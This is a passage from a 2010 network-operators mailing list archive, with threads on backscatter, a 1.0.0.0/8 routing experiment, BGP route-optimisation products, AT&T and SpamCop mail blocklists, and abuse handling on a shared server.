>> But if the origin domain has not provided SPF records, ?there are some >> unusual cases left open, ?where a bounce to a potentially fake address >> may still be required. > >?Nothing stops an > attacker from using a throwaway domain to send traffic to known > backscatterers, who will then backscatter it to $throwawaydomain, > whose MX's are set to $victim's MX's. So? You, I and everyone else these days are no longer running open relays. You don't host $throwawaydomain so the session will end at the rcpt command. If someone merely wants to DDOS your server there are far easier ways. Regards, Bill Herrin > it's never appropriate to respond > to abuse with abuse. > > ---Rsk > > -- William D. Herrin ................ herrin at dirtside.com bill at herrin.us 3005 Crane Dr. ...................... Web: Falls Church, VA 22042-3004 From johanj at sci.kun.nl Wed Feb 24 12:00:15 2010 From: johanj at sci.kun.nl (johan) Date: Wed, 24 Feb 2010 19:00:15 +0100 Subject: Looking Glass software - what's the current state of the art? In-Reply-To: <4B828993.2070601@deckpoint.ch> References: <4B817E63.1080505@opus1.com> <4B828993.2070601@deckpoint.ch> Message-ID: <4B85692F.8020903@sci.kun.nl> Thomas Kernen wrote: > On 2/21/10 7:41 PM, Joel M Snyder wrote: >> We are migrating our web server from platform A to mutually incompatible >> platform B and as a result the 7-year-old DCL script I wrote that does >> Looking Glass for us needs to be replaced. (from my comments, looks like >> I stole the idea from ejk at digex.net...) >> >> I'm guessing that someone else has done a better job and I should be >> just downloading and using an open source tool. >> >> What's the current thinking on a good standalone Looking Glass that can >> be opened to the Internet-at-large? >> >> jms >> > > If you want to try other Looking Glass sources, I've listed a few of > the more recent implementations here: > http://www.traceroute.org/#source%20code > > HTH, > Thomas > > If you are looking for something fancy with a graphical interface that not only represents the current state of your routing but also history of routechanges you might want to look at ibgplay http://www.ibgplay.org/lookingGlass.html Link is not included in the www.traceroute.org website, so if some maintainer is reading along.... Grtz Johan From aaron at coinet.com Wed Feb 24 12:04:02 2010 From: aaron at coinet.com (Aaron L. Meehan) Date: Wed, 24 Feb 2010 10:04:02 -0800 Subject: Security Guideance In-Reply-To: <20100223205540.GD1305778@hiwaay.net> References: <2f1d68351002231219r1566504fx71c4a353eccee5c5@mail.gmail.com> <386FCF83D8086E4A89655E41CD3B53D359DF35766F@rtexch01> <20100223205540.GD1305778@hiwaay.net> Message-ID: <20100224180402.GA26859@earth.coinet.com> On Tue, Feb 23, 2010 at 02:55:40PM -0600, Chris Adams wrote: > Once upon a time, Matt Sprague said: > > The user could also be running the command inline somehow or deleting > > the file when they log off. Check who was logged onto the server at > > the time of the attack to narrow down your search. I like the split > > the users idea, though it could be several iterations to narrow down > > the culprit. > > We've also seen this with spammers. They'll upload a PHP via a > compromised account, connect to it via HTTP, and then delete it from the > filesystem. The PHP continues to run, Apache doesn't log anything > (because it only logs at the end of a request), and the admin is left > scratching his head to figure out where the problem is. I've never used it myself, but Apache's mod_log_forensic is documented to write two log entries for each request, one before and one after. Aaron From r.hyunseog at ieee.org Wed Feb 24 13:13:56 2010 From: r.hyunseog at ieee.org (Alex H. Ryu) Date: Wed, 24 Feb 2010 13:13:56 -0600 Subject: 1.0.0.0/8 route from MERIT ? Message-ID: <4B857A74.6000503@ieee.org> Today I jumped into one of our routers, and I found that 1.0.0.0/8 is announced from AS237, which is MERIT. Network Next Hop Metric LocPrf Weight Path *> 1.0.0.0/8 4.59.200.5 0 60 0 (65001 65105) 3356 7018 237 i Is this supposed to be? I thought 1.0.0.0/8 is allocated to APNIC. Alex From sronan at fattoc.com Wed Feb 24 13:19:00 2010 From: sronan at fattoc.com (Shane Ronan) Date: Wed, 24 Feb 2010 14:19:00 -0500 Subject: 1.0.0.0/8 route from MERIT ? In-Reply-To: <4B857A74.6000503@ieee.org> References: <4B857A74.6000503@ieee.org> Message-ID: I am seeing the same thing: 1.0.0.0/8 *[BGP/170] 3d 13:48:10, MED 0, localpref 100, from 206.223.138.126 AS path: 3549 7018 237 I On Feb 24, 2010, at 2:13 PM, Alex H. Ryu wrote: > > Today I jumped into one of our routers, and I found that 1.0.0.0/8 is > announced from AS237, which is MERIT. > > > Network Next Hop Metric LocPrf Weight Path > *> 1.0.0.0/8 4.59.200.5 0 60 0 (65001 > 65105) 3356 7018 237 i > > Is this supposed to be? > I thought 1.0.0.0/8 is allocated to APNIC. > > > Alex > > From jimpop at gmail.com Wed Feb 24 13:21:08 2010 From: jimpop at gmail.com (Jim Popovitch) Date: Wed, 24 Feb 2010 14:21:08 -0500 Subject: 1.0.0.0/8 route from MERIT ? In-Reply-To: <4B857A74.6000503@ieee.org> References: <4B857A74.6000503@ieee.org> Message-ID: 2010/2/24 Alex H. Ryu : > > Today I jumped into one of our routers, and I found that 1.0.0.0/8 is > announced from AS237, which is MERIT. IIRC, there was an email/wiki/announcement last month about 1/8 undergoing some testing soon. -Jim P. From gordslater at ieee.org Wed Feb 24 13:30:32 2010 From: gordslater at ieee.org (gordon b slater) Date: Wed, 24 Feb 2010 19:30:32 +0000 Subject: 1.0.0.0/8 route from MERIT ? In-Reply-To: References: <4B857A74.6000503@ieee.org> Message-ID: <1267039832.4887.2.camel@ub-g-d2> On Wed, 2010-02-24 at 14:21 -0500, Jim Popovitch wrote: > 2010/2/24 Alex H. Ryu : > > > > Today I jumped into one of our routers, and I found that 1.0.0.0/8 is > > announced from AS237, which is MERIT. > > IIRC, there was an email/wiki/announcement last month about 1/8 > undergoing some testing soon. http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.txt extract from that, last update 22/feb/2010: Prefix Designation Date Whois Status [1] Note 000/8 IANA - Local Identification 1981-09 RESERVED [2] 001/8 APNIC 2010-01 whois.apnic.net ALLOCATED 002/8 RIPE NCC 2009-09 whois.ripe.net ALLOCATED From twilde at cymru.com Wed Feb 24 13:39:06 2010 From: twilde at cymru.com (Tim Wilde) Date: Wed, 24 Feb 2010 14:39:06 -0500 Subject: 1.0.0.0/8 route from MERIT ? In-Reply-To: References: <4B857A74.6000503@ieee.org> Message-ID: <4B85805A.5090304@cymru.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 2/24/2010 2:21 PM, Jim Popovitch wrote: > 2010/2/24 Alex H. Ryu : >> >> Today I jumped into one of our routers, and I found that 1.0.0.0/8 is >> announced from AS237, which is MERIT. > > IIRC, there was an email/wiki/announcement last month about 1/8 > undergoing some testing soon. See the APNIC WHOIS for 1.0.0.0/8: route: 1.0.0.0/8 descr: MERIT Network Inc. 1000 Oakbrook Drive, Suite 200 Ann Arbor MI 48104, USA origin: AS237 mnt-by: MAINT-AS237 remarks: This announcement is part of an APNIC approved experiment. For additional information please send email to mkarir at merit.edu This would appear related to Manish Karir's e-mail on the "How polluted is 1/8" thread from 06 FEB 2010 (Message-ID: <609933721.3935701265474878472.JavaMail.root at crono>). Regards, Tim Wilde - -- Tim Wilde, Senior Software Engineer, Team Cymru, Inc. twilde at cymru.com | +1-630-230-5433 | http://www.team-cymru.org/ -----BEGIN PGP SIGNATURE----- iEYEARECAAYFAkuFgFoACgkQluRbRini9thLlQCfQNqRZsjX6vvcV1TX5P4NykQH pJEAniiz6OTlnXfey+EH/U7qoSTYt8fX =ieC1 -----END PGP SIGNATURE----- From nonobvious at gmail.com Wed Feb 24 19:54:28 2010 From: nonobvious at gmail.com (Bill Stewart) Date: Wed, 24 Feb 2010 17:54:28 -0800 Subject: Security Guideance In-Reply-To: References: Message-ID: <18a5e7cb1002241754q1527b88epe503085e9f634314@mail.gmail.com> On Tue, Feb 23, 2010 at 11:46 AM, Paul Stewart wrote: > The problem is that a user on this box appears to be launching high > traffic DOS attacks from it towards other sites. ?These are UDP based > floods that move around from time to time - most of these attacks only > last a few minutes. Do the UDP floods have source-addresses that belong to your machine, or are they spoofed? Make sure you block that noise; depending on the applications the users think they've implemented, do you need to allow any outbound UDP other than 53? Can you move the users onto virtual machines instead of real ones? That can make it easier to isolate the problem users, or at least to cram an IDS in front of it. -- ---- Thanks; Bill Note that this isn't my regular email account - It's still experimental so far. And Google probably logs and indexes everything you send it. From gih at apnic.net Wed Feb 24 21:34:02 2010 From: gih at apnic.net (Geoff Huston) Date: Thu, 25 Feb 2010 14:34:02 +1100 Subject: 1.0.0.0/8 route from MERIT ? In-Reply-To: <4B857A74.6000503@ieee.org> References: <4B857A74.6000503@ieee.org> Message-ID: <14DB3F7E-7EFA-4A8E-A0E0-114FF6ED0908@apnic.net> On 25/02/2010, at 6:13 AM, Alex H. Ryu wrote: > > Today I jumped into one of our routers, and I found that 1.0.0.0/8 is > announced from AS237, which is MERIT. > > > Network Next Hop Metric LocPrf Weight Path > *> 1.0.0.0/8 4.59.200.5 0 60 0 (65001 > 65105) 3356 7018 237 i > > Is this supposed to be? > I thought 1.0.0.0/8 is allocated to APNIC. Yes, this is supposed to be. This is one of a number of planned experiments in advertising all and selected parts of 1/8 in the coming weeks. Geoff Huston APNIC From drew.weaver at thenap.com Thu Feb 25 08:08:06 2010 From: drew.weaver at thenap.com (Drew Weaver) Date: Thu, 25 Feb 2010 09:08:06 -0500 Subject: Competition for Internap's FCP product. Message-ID: Hi, As my Avaya CNA/Route Science box begins to seriously age, and without the support of Avaya for 'Service Provider' uses of the product, I have been looking for alternatives to the product. The value we get from this product is mainly in the ability to easily manage our bandwidth commitments in a hands off way without having to manually manipulate anything. I have no real illusions that the 'performance' side of things is 'arguable' at best with these sorts of products due to the nature of the Internet. Internap to me stands out as essentially the only alternative to this product, but they have been tremendously difficult to work with, they won't allow us to demo a unit to see if it offers the same functionality as our current solution. The reason they won't allow us to a demo a unit is because they 'don't stock them'. So basically they have 0 units until someone orders one, that is fine if that is their policy but that hasn't really been our experience with other hardware vendors that want close to 100K for a piece of niche equipment. My questions are: -What are other people doing who currently use or used the Avaya/RS product in the past? -Does anyone know of any competition in this space (aside from hiring a guy that sits there and does this for us manually)? -Has Cisco's OER/PFR made any progress in the last few years (is anyone using it?) Sorry to disturb, -Drew From graham at apolix.co.za Thu Feb 25 09:06:29 2010 From: graham at apolix.co.za (graham at apolix.co.za) Date: Thu, 25 Feb 2010 17:06:29 +0200 Subject: ISP in Johannesburg in Southdafrika In-Reply-To: References: Message-ID: <938796c5902f300ac020c86f6ffb8c48@apolix.co.za> On Tue, 23 Feb 2010 14:07:49 +0100, "Xaver Aerni" wrote: > We are looking for this year a Provider in Johannesburg for a temporay > Internetconnection for 1 Mounth during the WM 2010. Does somebody know a > Provider which has stabile line there. With speed 2 Mb or more. (guarantie) Internet connectivity here in 'deepest darkest Africa' is actually quite advanced ;-) Would you like that on Fibre, Microwave, DSL or some other technology? -- Graham Beneke From wade.peacock at sunwave.net Thu Feb 25 10:00:39 2010 From: wade.peacock at sunwave.net (Wade Peacock) Date: Thu, 25 Feb 2010 08:00:39 -0800 Subject: ATT / Bellsouth Email Feedback Loop Message-ID: <4B869EA7.5070409@sunwave.net> Greetings Brain Trust, We have found ATT to be heavy handed with their email (spam) filtering. Without warn all of our mail servers will be denied from delivering email to their many domains (att.net, bellsouth.net, etc). They have a removal request form (like most other large ISPs) which takes 2 days to process. We never find out why the we get listed. We always check as many "email" reputation systems and rbl searches to determine why. Everywhere we look we see no evidence of a problem. We have joined other ISP feedback look system, (AOL, Yahoo and even Hotmail/Live) which all have helped stop issues (comprised accounts, bots, etc) before they get to the point of a listing/block. I have searched and I can not find out definitively whether ATT has or does not has a feedback loop system. Anyone out there know? -- Wade Peacock Network Administrator Sun Country Cablevision Ltd Sunwave Internet Department Tel: (250) 832-9711 or (250) 546-9667 Web: http://www.sunwave.net Email: wade.peacock at sunwave.net Support Email: support at sunwave.net From jimpop at gmail.com Thu Feb 25 10:15:03 2010 From: jimpop at gmail.com (Jim Popovitch) Date: Thu, 25 Feb 2010 11:15:03 -0500 Subject: ATT / Bellsouth Email Feedback Loop In-Reply-To: <4B869EA7.5070409@sunwave.net> References: <4B869EA7.5070409@sunwave.net> Message-ID: On Thu, Feb 25, 2010 at 11:00, Wade Peacock wrote: > Greetings Brain Trust, > > We have found ATT to be heavy handed with their email (spam) filtering. > Without warn all of our mail servers will be denied from delivering email to > their many domains (att.net, bellsouth.net, etc). They have a removal > request form (like most other large ISPs) which takes 2 days to process. We > never find out why the we get listed. We always check as many "email" > reputation systems and rbl searches to determine why. ?Everywhere we > look we see no evidence of a problem. We have joined other ISP feedback look > system, (AOL, Yahoo and even Hotmail/Live) which all have helped stop issues > (comprised accounts, bots, etc) before they get to the point of a > listing/block. > > I have searched and I can not find out definitively whether ATT has or does > not has a feedback loop system. Anyone out there know? I know of no ATT FBL system. If you are getting ATT rejects, then you can enter some info here: http://worldnet.att.net/general-info/block_admin.html However, if you are getting blackhole'd you have no recourse, IMHO. If any AT&T rep wants to step forward, I've know a few people waiting in the wings with very similar issues. One even suggested the blackhole'ing is related to American Idol, as you need to keep your pipes clean for those revenue generating SMS texts. ;-) -Jim P. From pior at pbastida.net Thu Feb 25 11:06:25 2010 From: pior at pbastida.net (pior) Date: Thu, 25 Feb 2010 18:06:25 +0100 Subject: Colocation + ip transit in NY Message-ID: <657a7f7a9b542765b7b1841660d01410@localhost> Hello, I need to find a deal for colocation + ip transit in New York in the next 2 hours. (looks like a joke but...) We need 200Mb/s now, 1Gb/s expected in next 12 months. We actually got a pretty good deal but a crossconnect is needed and the price of it really bothers my boss. Greetings, -- Pior Bastida pior at pbastida.net From wade.peacock at sunwave.net Thu Feb 25 11:07:16 2010 From: wade.peacock at sunwave.net (Wade Peacock) Date: Thu, 25 Feb 2010 09:07:16 -0800 Subject: ATT / Bellsouth Email Feedback Loop In-Reply-To: <4B869EA7.5070409@sunwave.net> References: <4B869EA7.5070409@sunwave.net> Message-ID: <4B86AE44.9000800@sunwave.net> I figure I should follow up with a sample error message from our logs: : host gateway-f2.isp.att.net[207.115.11.16] refused to talk to me: 550-208.98.210.35 blocked by ldap:ou=rblmx,dc=att,dc=net 550 Error - Blocked for abuse. See http://att.net/blocks Wade Peacock On 02/25/2010 08:00 AM, Wade Peacock wrote: > Greetings Brain Trust, > > We have found ATT to be heavy handed with their email (spam) filtering. > Without warn all of our mail servers will be denied from delivering > email to their many domains (att.net, bellsouth.net, etc). They have a > removal request form (like most other large ISPs) which takes 2 days to > process. We never find out why the we get listed. We always check as > many "email" reputation systems and rbl searches to determine why. > Everywhere we > look we see no evidence of a problem. We have joined other ISP feedback > look system, (AOL, Yahoo and even Hotmail/Live) which all have helped > stop issues (comprised accounts, bots, etc) before they get to the point > of a listing/block. > > I have searched and I can not find out definitively whether ATT has or > does not has a feedback loop system. Anyone out there know? > > From rubensk at gmail.com Thu Feb 25 13:23:05 2010 From: rubensk at gmail.com (Rubens Kuhl) Date: Thu, 25 Feb 2010 16:23:05 -0300 Subject: Competition for Internap's FCP product. In-Reply-To: References: Message-ID: <6bb5f5b11002251123i22f86be5ie6a43bbc34c13c84@mail.gmail.com> Is your burstable bandwidth cost high enough to pay 100K for a gear just to meet the commitments ? NAGIOS/CACTI monitoring alerts sent to someone (which may be hired help from any place in the world) would probably beat that in cost effectiveness. The performance requirement is where a line is drawn between manual configuration and automated BGP manipulation. Rubens On Thu, Feb 25, 2010 at 11:08 AM, Drew Weaver wrote: > Hi, > > As my Avaya CNA/Route Science box begins to seriously age, and without the support of Avaya for 'Service Provider' uses of the product, I have been looking for alternatives to the product. > > The value we get from this product is mainly in the ability to easily manage our bandwidth commitments in a hands off way without having to manually manipulate anything. I have no real illusions that the 'performance' side of things is 'arguable' at best with these sorts of products due to the nature of the Internet. > > Internap to me stands out as essentially the only alternative to this product, but they have been tremendously difficult to work with, they won't allow us to demo a unit to see if it offers the same functionality as our current solution. The reason they won't allow us to a demo a unit is because they 'don't stock them'. So basically they have 0 units until someone orders one, that is fine if that is their policy but that hasn't really been our experience with other hardware vendors that want close to 100K for a piece of niche equipment. > > My questions are: > > -What are other people doing who currently use or used the Avaya/RS product in the past? > -Does anyone know of any competition in this space (aside from hiring a guy that sits there and does this for us manually)? > -Has Cisco's OER/PFR made any progress in the last few years (is anyone using it?) > > Sorry to disturb, > > -Drew > > > From bobp+nanog at webster.tsc.com Thu Feb 25 13:33:45 2010 From: bobp+nanog at webster.tsc.com (Bob Poortinga) Date: Thu, 25 Feb 2010 14:33:45 -0500 Subject: ATT / Bellsouth Email Feedback Loop In-Reply-To: <4B869EA7.5070409@sunwave.net> References: <4B869EA7.5070409@sunwave.net> Message-ID: <20100225193345.GA24709@tico.tsc.com> Wade Peacock writes: > We have found ATT to be heavy handed with their email (spam) filtering. > Without warn all of our mail servers will be denied from delivering email > to their many domains (att.net, bellsouth.net, etc). They have a removal > request form (like most other large ISPs) which takes 2 days to process. We > never find out why the we get listed. We have dealt with issue in the past. AT&T maintains an internal blacklist and their blacklist policies are not published. There is also no feedback loop mechanism in place, AFAICT. I do know that sending backscatter to AT&T will get you in their blacklist. If your server sends NDRs instead for rejecting during the SMTP transaction for 5xx type messages then that is probably what got you on their list. The email address we have used at AT&T to resolve these issues is: . Make sure that all of issues which caused your blacklisting are resolved because if they put you on the list again, it is much tougher to get removed. -- Bob Poortinga K9SQL Bloomington, Indiana US From dholmes at mwdh2o.com Thu Feb 25 13:58:47 2010 From: dholmes at mwdh2o.com (Holmes,David A) Date: Thu, 25 Feb 2010 11:58:47 -0800 Subject: Competition for Internap's FCP product. In-Reply-To: <6bb5f5b11002251123i22f86be5ie6a43bbc34c13c84@mail.gmail.com> References: <6bb5f5b11002251123i22f86be5ie6a43bbc34c13c84@mail.gmail.com> Message-ID: <485ED9BA02629E4BBBA53AC892EDA50E0A91948C@usmsxt104.mwd.h2o> The ability to manage bandwidth over multiple ISP links each of which may charge variable rates per Mb, and also be billed by the 95th percentile billing method, is the main justification for a device like the Routescience product. In my experience ROI is captured in a relatively short time. Since Routescience uses the second and third packets of the TCP 3-way handshake to calculate the fastest route to destination prefixes, then this is an added bonus to the ability to dial bandwidth up or down over numerous ISP links. Also Routescience-type devices free up the person who sits and calculates BGP best routes manually, so that person can perform more productive and efficient work in other areas. -----Original Message----- From: Rubens Kuhl [mailto:rubensk at gmail.com] Sent: Thursday, February 25, 2010 11:23 AM To: nanog at nanog.org Subject: Re: Competition for Internap's FCP product. Is your burstable bandwidth cost high enough to pay 100K for a gear just to meet the commitments ? NAGIOS/CACTI monitoring alerts sent to someone (which may be hired help from any place in the world) would probably beat that in cost effectiveness. The performance requirement is where a line is drawn between manual configuration and automated BGP manipulation. Rubens On Thu, Feb 25, 2010 at 11:08 AM, Drew Weaver wrote: > Hi, > > As my Avaya CNA/Route Science box begins to seriously age, and without the support of Avaya for 'Service Provider' uses of the product, I have been looking for alternatives to the product. > > The value we get from this product is mainly in the ability to easily manage our bandwidth commitments in a hands off way without having to manually manipulate anything. I have no real illusions that the 'performance' side of things is 'arguable' at best with these sorts of products due to the nature of the Internet. > > Internap to me stands out as essentially the only alternative to this product, but they have been tremendously difficult to work with, they won't allow us to demo a unit to see if it offers the same functionality as our current solution. The reason they won't allow us to a demo a unit is because they 'don't stock them'. So basically they have 0 units until someone orders one, that is fine if that is their policy but that hasn't really been our experience with other hardware vendors that want close to 100K for a piece of niche equipment. > > My questions are: > > -What are other people doing who currently use or used the Avaya/RS product in the past? > -Does anyone know of any competition in this space (aside from hiring a guy that sits there and does this for us manually)? > -Has Cisco's OER/PFR made any progress in the last few years (is anyone using it?) > > Sorry to disturb, > > -Drew > > > From kloch at kl.net Thu Feb 25 14:22:30 2010 From: kloch at kl.net (Kevin Loch) Date: Thu, 25 Feb 2010 15:22:30 -0500 Subject: Competition for Internap's FCP product. In-Reply-To: References: Message-ID: <4B86DC06.9090903@kl.net> Drew Weaver wrote: > Hi, > > As my Avaya CNA/Route Science box begins to seriously age, and without the support of Avaya for 'Service Provider' uses of the product, I have been looking for alternatives to the product. > > The value we get from this product is mainly in the ability to easily manage our bandwidth commitments in a hands off way without having to manually manipulate anything. I have no real illusions that the 'performance' side of things is 'arguable' at best with these sorts of products due to the nature of the Internet. > > Internap to me stands out as essentially the only alternative to this product, but they have been tremendously difficult to work with, they won't allow us to demo a unit to see if it offers the same functionality as our current solution. The reason they won't allow us to a demo a unit is because they 'don't stock them'. So basically they have 0 units until someone orders one, that is fine if that is their policy but that hasn't really been our experience with other hardware vendors that want close to 100K for a piece of niche equipment. > > My questions are: > > -What are other people doing who currently use or used the Avaya/RS product in the past? > -Does anyone know of any competition in this space (aside from hiring a guy that sits there and does this for us manually)? > -Has Cisco's OER/PFR made any progress in the last few years (is anyone using it?) We use the Avaya CNA in one data center and it does an excellent job at both commit management and rerouting around problems. I almost never see tickets regarding latency/packet loss at that data center except when it involves inbound issues that the CNA can't fix. Other data centers have a more typical occurrence of routing issues that require manual intervention. Most of the parts to replace this exist in open source software today: bird/quagga for bgp to import routes and inject re-routes. net-snmp-utils for importing interface stats/state and bgp session state various performance testing tools [tcp]traceroute/mtr etc. netflow tools (like ehnt) to receive netflow data The parts that are missing: api for bird/quagga to import and assert routes code to use netflow to generate list of targets for performance testing and to determine bandwidth/route for commit management code to decide which routes to assert to which next-hop based on configured performance and commit levels. reporting None of that seems very tricky, especially the commit management which does not need a sophisticated performance evaluation, just "does it work at all via that link." - Kevin From hdevarajan at nextag.com Thu Feb 25 14:31:25 2010 From: hdevarajan at nextag.com (Haarith Devarajan) Date: Thu, 25 Feb 2010 12:31:25 -0800 Subject: Does Savvis have Peering Issues (Santa Clara, Virginia) Message-ID: <8D33A7F923BDD342BD6E149314B61F5D17D95A69@CorpMail4.corp.nextag.com> Hi, After the last few savvis maintenance upgrades, We constantly keep seeing latency issues on our external monitors. When I look it up on some common monitors like http://www.internetpulse.net/ It shows very high latency and some packet loss from Savvis to almost most vendors. When we escalate this to Savvis, they say we don't escalate tickets based on external monitors. We are not able to reproduce any timeouts but can see general increase in latency. Does any one else see similar issues and fixed it. Appreciate any help, Cheers Haarith CONFIDENTIALITY NOTICE ======================= This email message and any attachments are for the exclusive use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender by reply email and destroy all copies of the original message along with any attachments, from your computer system. If you are the intended recipient, please be advised that the content of this message is subject to access, review and disclosure by the sender's Email System Administrator. From dgibby at edirectpublishing.com Thu Feb 25 18:56:31 2010 From: dgibby at edirectpublishing.com (Daniel Gibby) Date: Fri, 26 Feb 2010 00:56:31 +0000 (UTC) Subject: ATT / Bellsouth Email Feedback Loop References: <4B869EA7.5070409@sunwave.net> <4B86AE44.9000800@sunwave.net> Message-ID: > I have searched and I can not find out definitively whether ATT has or > does not has a feedback loop system. Anyone out there know? It would be wonderful if they had a feedback loop. We've done research recently and found no evidence that they have one. At least they do have the IP removal tool... not that it does much. I'm afraid it just makes it so you get the privilege of using their IP removal tool again sometime soon. Or you could not send any emails to them, and your delivery would be 100%.. or would that be null.. From randy at psg.com Thu Feb 25 20:08:00 2010 From: randy at psg.com (Randy Bush) Date: Thu, 25 Feb 2010 18:08:00 -0800 Subject: ISP in Johannesburg in Southdafrika In-Reply-To: <938796c5902f300ac020c86f6ffb8c48@apolix.co.za> References: <938796c5902f300ac020c86f6ffb8c48@apolix.co.za> Message-ID: > Internet connectivity here in 'deepest darkest Africa' is actually quite > advanced ;-) and the most expensive you can imagine. welcome to a telkom monopoly. randy From dts at senie.com Thu Feb 25 20:39:09 2010 From: dts at senie.com (Daniel Senie) Date: Thu, 25 Feb 2010 21:39:09 -0500 Subject: ISP in Johannesburg in Southdafrika In-Reply-To: References: <938796c5902f300ac020c86f6ffb8c48@apolix.co.za> Message-ID: <2F49F7EA-B97A-43BC-B501-5C8604598156@senie.com> Better than western Massachusetts, where there's just no connectivity at all. Even dialup fails to function over crappy lines. I'd take monopoly pricing over no connectivity, I guess. On Feb 25, 2010, at 9:08 PM, Randy Bush wrote: >> Internet connectivity here in 'deepest darkest Africa' is actually quite >> advanced ;-) > > and the most expensive you can imagine. welcome to a telkom monopoly. > > randy From patrick at ianai.net Thu Feb 25 20:44:50 2010 From: patrick at ianai.net (Patrick W. Gilmore) Date: Thu, 25 Feb 2010 21:44:50 -0500 Subject: ISP in Johannesburg in Southdafrika In-Reply-To: <2F49F7EA-B97A-43BC-B501-5C8604598156@senie.com> References: <938796c5902f300ac020c86f6ffb8c48@apolix.co.za> <2F49F7EA-B97A-43BC-B501-5C8604598156@senie.com> Message-ID: On Feb 25, 2010, at 9:39 PM, Daniel Senie wrote: > Better than western Massachusetts, where there's just no connectivity at all. Even dialup fails to function over crappy lines. I'd take monopoly pricing over no connectivity, I guess. Oh, plz, if you were willing to pay $2K/Mbps, they'd trench fiber to your house. Still think monopoly pricing is better? Of course, that was 2008. I hear prices have dropped to the Amazingly Low Sum of just $350/Mbps in 2010 - in certain places, if you're lucky, and sign a long term contract. I bet there are 10 people reading this post who will run you a DS3 or better if you sign up for $350/Mbps. -- TTFN, patrick > On Feb 25, 2010, at 9:08 PM, Randy Bush wrote: > >>> Internet connectivity here in 'deepest darkest Africa' is actually quite >>> advanced ;-) >> >> and the most expensive you can imagine. welcome to a telkom monopoly. >> >> randy > > From shon at unwiredbb.com Thu Feb 25 21:14:37 2010 From: shon at unwiredbb.com (Shon Elliott) Date: Thu, 25 Feb 2010 19:14:37 -0800 Subject: Spamcop Blocks Facebook? Message-ID: <4B873C9D.1030204@unwiredbb.com> So I start trying to figure out why my facebook account keeps saying my e-mail is invalid, when I know it isn't. I look at my mail server and see it's all running just fine, and have been receiving mail from others just fine... so I tail the log and tell Facebook to re-confirm the address... Feb 25 19:08:18 postfix/smtpd[12682]: connect from outmail011.snc1.tfbnw.net[69.63.178.170] Feb 25 19:08:18 postfix/smtpd[12682]: NOQUEUE: reject: RCPT from outmail011.snc1.tfbnw.net[69.63.178.170]: 554 5.7.1 Service unavailable; Client host [69.63.178.170] blocked using bl.spamcop.net; Blocked - see http://www.spamcop.net/bl.shtml?69.63.178.170; from= to= proto=ESMTP helo= Feb 25 19:08:23 postfix/smtpd[12682]: disconnect from outmail011.snc1.tfbnw.net[69.63.178.170] Anyone from Facebook or Spamcop lurking around to look into this? It's quite annoying.. I can't imagine how many other users are scratching their heads on this one... -S From adam at adamstas.com Thu Feb 25 22:14:37 2010 From: adam at adamstas.com (Adam Stasiniewicz) Date: Thu, 25 Feb 2010 22:14:37 -0600 Subject: Spamcop Blocks Facebook? In-Reply-To: <4B873C9D.1030204@unwiredbb.com> References: <4B873C9D.1030204@unwiredbb.com> Message-ID: <80108303712c6745a805917d4a11932b@mail.gmail.com> Found this: http://forum.spamcop.net/forums/index.php?showtopic=10783 Looks like SpamCop is fully aware they are listing facebook's email servers. -----Original Message----- From: Shon Elliott [mailto:shon at unwiredbb.com] Sent: Thursday, February 25, 2010 9:15 PM To: nanog at nanog.org >> nanog Subject: Spamcop Blocks Facebook? So I start trying to figure out why my facebook account keeps saying my e-mail is invalid, when I know it isn't. I look at my mail server and see it's all running just fine, and have been receiving mail from others just fine... so I tail the log and tell Facebook to re-confirm the address... Feb 25 19:08:18 postfix/smtpd[12682]: connect from outmail011.snc1.tfbnw.net[69.63.178.170] Feb 25 19:08:18 postfix/smtpd[12682]: NOQUEUE: reject: RCPT from outmail011.snc1.tfbnw.net[69.63.178.170]: 554 5.7.1 Service unavailable; Client host [69.63.178.170] blocked using bl.spamcop.net; Blocked - see http://www.spamcop.net/bl.shtml?69.63.178.170; from= to= proto=ESMTP helo= Feb 25 19:08:23 postfix/smtpd[12682]: disconnect from outmail011.snc1.tfbnw.net[69.63.178.170] Anyone from Facebook or Spamcop lurking around to look into this? It's quite annoying.. I can't imagine how many other users are scratching their heads on this one... -S From reed at reedloden.com Thu Feb 25 22:46:40 2010 From: reed at reedloden.com (Reed Loden) Date: Thu, 25 Feb 2010 22:46:40 -0600 Subject: Spamcop Blocks Facebook? In-Reply-To: <4B873C9D.1030204@unwiredbb.com> References: <4B873C9D.1030204@unwiredbb.com> Message-ID: <20100225224640.94928e6a.reed@reedloden.com> On Thu, 25 Feb 2010 19:14:37 -0800 Shon Elliott wrote: > Anyone from Facebook or Spamcop lurking around to look into this? It's quite > annoying.. I can't imagine how many other users are scratching their heads on > this one... I'm a long-time SpamCop member, so I forwarded your mail to the deputies. They are aware that facebook's servers have been sporadically listed, and one of them specifically said the following: "Not much we can do about the listings. They're sending spam to our traps in large enough numbers that raises the score to a listing level. If Facebook were to follow best practices the spam complaints and trap hits would drop to levels that keeps them from getting listed." ~reed -- Reed Loden - From noel.butler at ausics.net Thu Feb 25 23:17:13 2010 From: noel.butler at ausics.net (Noel Butler) Date: Fri, 26 Feb 2010 15:17:13 +1000 Subject: Spamcop Blocks Facebook? In-Reply-To: <20100225224640.94928e6a.reed@reedloden.com> References: <4B873C9D.1030204@unwiredbb.com> <20100225224640.94928e6a.reed@reedloden.com> Message-ID: <1267161433.7981.3.camel@tardis> On Thu, 2010-02-25 at 22:46 -0600, Reed Loden wrote: > On Thu, 25 Feb 2010 19:14:37 -0800 > Shon Elliott wrote: > > > Anyone from Facebook or Spamcop lurking around to look into this? It's quite > > annoying.. I can't imagine how many other users are scratching their heads on > > this one... > > I'm a long-time SpamCop member, so I forwarded your mail to the > deputies. They are aware that facebook's servers have been > sporadically listed, and one of them specifically said the following: > > "Not much we can do about the listings. They're sending spam to our > traps in large enough numbers that raises the score to a listing level. > If Facebook were to follow best practices the spam complaints and > trap hits would drop to levels that keeps them from getting listed." > That's more than fair IMO not forgetting facebook is full of wankers, so they just have one more avenue to spam/harras do the usual miscreant things, so I bloody well hope no DNSBL whitelists or gives them (or anyone) preferential treatment > ~reed > From graham at apolix.co.za Thu Feb 25 23:41:03 2010 From: graham at apolix.co.za (Graham Beneke) Date: Fri, 26 Feb 2010 07:41:03 +0200 Subject: ISP in Johannesburg in Southdafrika In-Reply-To: References: <938796c5902f300ac020c86f6ffb8c48@apolix.co.za> Message-ID: <4B875EEF.4040409@apolix.co.za> On 26/02/2010 04:08, Randy Bush 